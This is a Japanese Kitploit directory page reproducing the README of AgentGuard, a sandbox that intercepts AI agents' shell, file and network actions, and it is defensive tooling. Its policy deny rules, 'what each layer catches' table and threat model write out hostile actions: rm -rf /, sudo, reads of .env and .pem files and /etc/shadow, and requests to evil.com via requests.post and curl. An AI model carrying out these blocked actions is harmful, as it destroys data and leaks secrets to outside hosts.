Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
AgentGuard — AIエージェント向けのゼロトラストサンドボックス。カーネルレベルのファイルシステム隔離、透過的なネットワークプロキシ、YAMLベースのポリシーエンジンを備え、シェルコマンド、ファイル操作、ネットワークリクエストをインターセプトして制御します。 | Kitploit
ツール/GitHubGitHub/thodoristsampouris/agentguard
防御ツールコンテナセキュリティセキュリティ仮想化ネットワークセキュリティAIセキュリティ
GitHubthodoristsampouris/agentguard

AgentGuard

AIエージェント向けのゼロトラストサンドボックス。カーネルレベルのファイルシステム隔離、透過的なネットワークプロキシ、YAMLベースのポリシーエンジンを備え、シェルコマンド、ファイル操作、ネットワークリクエストをインターセプトして制御します。

リポジトリを見る
8176ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

AgentGuard

自律型AIエージェント向けゼロトラストサンドボックス。

AgentGuardは、あらゆるAIエージェント(LangChain、CrewAI、AutoGen、カスタムスクリプト)に安全レールを装着します。1つのコマンドを変更するだけです:

# 以前(危険 – エージェントがフルシステムアクセスを持つ)
python my_agent.py

# 以後(サンドボックス化)
agentguard run -- python my_agent.py

AgentGuardは、エージェントが実行するすべてのシェルコマンド、ファイル変更、ネットワーク要求をインターセプトします。安全なアクションは自動許可、危険なアクションは自動ブロック、それ以外はすべて人間による承認を求めます。

仕組み

AgentGuardは4つの防御層が連携して動作します:

┌─────────────────────────────────────────────────────────────┐
│ 層0: ファイルシステム監獄 (macOSではsandbox-exec)            │
│   カーネルレベルでの強制。システムコールレベルでファイル       │
│   書き込みとネットワークを制限します。エージェントは           │
│   ユーザー空間からバイパスできません。Pythonのopen()、        │
│   requests.post()などをブロックします。                       │
├─────────────────────────────────────────────────────────────┤
│ 層1: ネットワークプロキシ                                   │
│   透過的なHTTP/HTTPSプロキシ。エージェントが行うすべての      │
│   ネットワーク呼び出しがポリシーに対してチェックされます。     │
│   宛先ごとの許可/拒否をTUIで完全可視化。                      │
├─────────────────────────────────────────────────────────────┤
│ 層2: PATHシャム                                            │
│   git、pip、curl、rmなどのコマンドをインターセプトする        │
│   シェルスクリプトのシャム。各シャムは実際のバイナリを実行     │
│   する前にデーモンに許可を求めます。                          │
├─────────────────────────────────────────────────────────────┤
│ 層3: ポリシーエンジン+承認デーモン                          │
│   YAMLベースのルールでインターセプトされたすべてのアクション   │
│   を評価します。安全なコマンドは自動許可、危険なものは自動     │
│   ブロック、それ以外は人間にプロンプトを表示します。           │
└─────────────────────────────────────────────────────────────┘

どの単一層もセキュリティ境界ではありません。それらは連携します – 多層防御です。

クイックスタート

ビルド

go build -o agentguard ./cmd/agentguard/
go build -o agentguard-check ./cmd/agentguard-check/

両方のバイナリが同じディレクトリにある必要があります。

ポリシーの作成

agentguard init

これによりカレントディレクトリに .agentguard/policy.yaml が作成されます。必要に応じて編集してください。

エージェントの実行(対話型TUI)

agentguard run -- python my_agent.py

TUIがターミナルを占有し、以下を表示します:

  • ライブアクティビティストリーム(すべてのインターセプトされたアクション)
  • あいまいなコマンドに対する承認プロンプト(Y/N/A/Bキー)
  • プロキシからのネットワーク許可/拒否イベント
  • サンドボックス違反イベント
  • エージェントのstdout/stderr(Tabキーで切り替え)

エージェントの実行(ヘッドレス)

Claude Codeなど、ターミナルを必要とする対話型ツール向け:

agentguard run --headless -- claude

エージェントが直接ターミナルを取得します。AgentGuardはバックグラウンドで静かに動作します。すべてのイベントは ~/.agentguard/logs/headless.log に記録されます。別のターミナルで監視:

tail -f ~/.agentguard/logs/headless.log

CLIリファレンス

agentguard run [flags] -- <command> [args...]
    --policy <path>     特定のポリシーファイルを使用
    --headless          TUIなし – エージェントがターミナルを取得
    --default-allow     ヘッドレスモードでPROMPT判定を自動許可(デフォルト: auto-deny)
    --no-sandbox        sandbox-execを無効化(シャムとプロキシは引き続きアクティブ)

agentguard init         デフォルトポリシーファイルを作成
agentguard version      バージョンを表示

ポリシーファイル

ポリシーはYAMLファイルで、エージェントに許可/禁止するアクションを定義します。AgentGuardは3つの場所を順にチェックします:

  1. ./.agentguard/policy.yaml(プロジェクトローカル)
  2. ~/.agentguard/policy.yaml(ユーザーグローバル)
  3. 組み込みのデフォルト

ポリシーの例

version: 1

deny:
  # 危険なコマンドをブロック
  - command: "rm"
    args: "-rf *"
    reason: "再帰的な強制削除は危険すぎます"
  - command: "sudo"
    args: "*"
    reason: "権限昇格は許可されていません"
  - command: "chmod"
    args: "777 *"
    reason: "ワールド書き込み可能なパーミッションは危険です"

  # 機密ファイルの読み取りをブロック(sandbox-execで強制)
  - file:
      path: "*.env"
      action: "read"
      reason: "エージェントに.envファイルを読ませない"
  - file:
      path: "*.pem"
      action: "read"
      reason: "エージェントに秘密鍵を読ませない"

allow:
  # 安全な読み取り専用コマンド
  - command: "ls"
  - command: "cat"
  - command: "pwd"
  - command: "echo"
  - command: "grep"
  - command: "head"
  - command: "tail"
  - command: "wc"

  # 読み取り専用git
  - command: "git"
    args: "status"
  - command: "git"
    args: "log *"
  - command: "git"
    args: "diff *"

  # ワークスペースへの書き込みを許可
  - file:
      path: "/tmp/workspace/**"
      action: "write"

  # 特定のAPIエンドポイントを許可
  - network:
      destination: "api.anthropic.com:443"
  - network:
      destination: "api.github.com:443"

ルール評価順序

  1. 特定の拒否ルール – 最初にチェック。一致した場合、アクションは即座にブロックされます。
  2. 許可ルール – 2番目にチェック。一致した場合、アクションは許可されます。
  3. キャッチオール拒否ルール(例: deny network *) – 3番目にチェック。デフォルト拒否として機能します。
  4. 一致なし – 人間にプロンプトが表示される(TUI)か、自動拒否(ヘッドレス)。

ルールタイプ

コマンドルール – シェルコマンドを名前と引数パターンで照合:

- command: "git"
  args: "push *"
  reason: "プッシュには承認が必要です"

ファイルルール – ファイル操作を照合(sandbox-execで強制):

- file:
    path: "*.env"
    action: "read"     # "read" または "write"
    reason: "シークレットを保護"

ネットワークルール – ネットワーク宛先を照合(プロキシ + sandbox-execで強制):

- network:
    destination: "api.anthropic.com:443"

コマンド引数、ファイルパス、ネットワーク宛先ではワイルドカード * を使用できます。

TUIコントロール

キーアクションタイミング
Y保留中のリクエストを許可承認プロンプト表示中
N保留中のリクエストを拒否承認プロンプト表示中
A許可+このセッション中記憶(常に許可)承認プロンプト表示中
B拒否+このセッション中記憶(永久ブロック)承認プロンプト表示中
Tabエージェントのstdout/stderrパネルの切り替え常時
Up/Downアクティビティストリームをスクロール常時
Q終了(エージェントを強制終了)常時

各層が捕まえるもの

エージェントのアクションシャムプロキシsandbox-exec
subprocess.run(["rm", "-rf", "/"])はい--
subprocess.run(["git", "push"])はい--
requests.post("https://evil.com")-はいはい
urllib.request.urlopen("https://api.com")-はいはい
open(".env", "r")--はい
open("/etc/shadow", "w")--はい
/usr/bin/curl https://evil.com (絶対パス)-はいはい

アーキテクチャ

agentguard/
├── cmd/
│   ├── agentguard/              # メインCLIバイナリ
│   └── agentguard-check/        # シャムヘルパーバイナリ
├── internal/
│   ├── policy/                  # ポリシーエンジン(YAML解析、ルール評価)
│   ├── events/                  # イベントシステム(JSONL監査ログ、pub/sub)
│   ├── daemon/                  # 中央デーモン(Unixソケット、承認キュー)
│   │   └── client/              # シャム用クライアントライブラリ
│   ├── shim/                    # シャムジェネレーター(PATHベースのインターセプト)
│   ├── proxy/                   # 透過的ネットワークプロキシ
│   ├── spawner/                 # オーケストレーション+macOSサンドボックス統合
│   └── ui/tui/                  # ターミナルUI(Bubble Tea)
├── configs/
│   └── default_policy.yaml      # リファレンスポリシーファイル
├── .gitignore
├── go.mod
├── LICENSE
└── README.md

コンポーネント概要

コンポーネントパッケージ目的
ポリシーエンジンinternal/policyYAMLルールを解析し、リクエストを評価 → ALLOW / DENY / PROMPT
イベントシステムinternal/events追記専用JSONL監査ログ+TUI用リアルタイムpub/sub
デーモンinternal/daemonUnixソケットサーバー、タイムアウト付き承認キュー、セッション管理
TUIinternal/ui/tuiBubble TeaターミナルUI:アクティビティストリームと承認モーダル
シャムジェネレーターinternal/shimシェルスクリプトシャムを生成し、実際のバイナリパスを解決
ネットワークプロキシinternal/proxy透過的HTTP/HTTPSプロキシ:宛先ごとのポリシーを強制
スパウナーinternal/spawnerすべてを統括:ポリシー → デーモン → シャム → プロキシ → サンドボックス → エージェント → TUI
macOSサンドボックスinternal/spawner/jail_darwin.goSeatbeltプロファイルを使ったsandbox-exec、カーネルレベルでの強制

監査ログ

インターセプトされたすべてのアクションは ~/.agentguard/logs/YYYY-MM-DD.jsonl に記録されます:

{"id":"a1b2c3","timestamp":"2026-03-22T14:30:00Z","session_id":"abc123","source":"shim","command":"git","args":["push","origin","main"],"decision":"deny","decided_by":"human","response_time_ms":3200}
{"id":"d4e5f6","timestamp":"2026-03-22T14:30:01Z","session_id":"abc123","source":"proxy","network_dst":"api.anthropic.com:443","decision":"allow","decided_by":"policy"}

標準ツールでクエリ:

# 今日拒否されたすべてのアクション
cat ~/.agentguard/logs/2026-03-22.jsonl | jq 'select(.decision == "deny")'

# すべてのネットワークリクエスト
cat ~/.agentguard/logs/2026-03-22.jsonl | jq 'select(.source == "proxy")'

# 人間の承認が必要だったコマンド
cat ~/.agentguard/logs/2026-03-22.jsonl | jq 'select(.decided_by == "human")'

プラットフォームサポート

プラットフォームシャムプロキシsandbox-execファイル読み取り拒否
macOS (Apple Silicon)はいはいはいはい
macOS (Intel)はいはいはいはい
Linuxはいはいいいえ(将来:名前空間+seccomp)いいえ
Windowsはいはいいいえ(将来:Job Objects)いいえ

セキュリティモデル

脅威モデル: エージェントは信頼されていません。以下の可能性があります:

  • 危険なコマンドの実行(rm -rf /、sudo)
  • ネットワーク呼び出しによるデータの外部持ち出し
  • 機密ファイルの読み取り(.env、秘密鍵)
  • 絶対パス、言語ネイティブAPI、環境変数の操作によるサンドボックス回避
ツールをダウンロード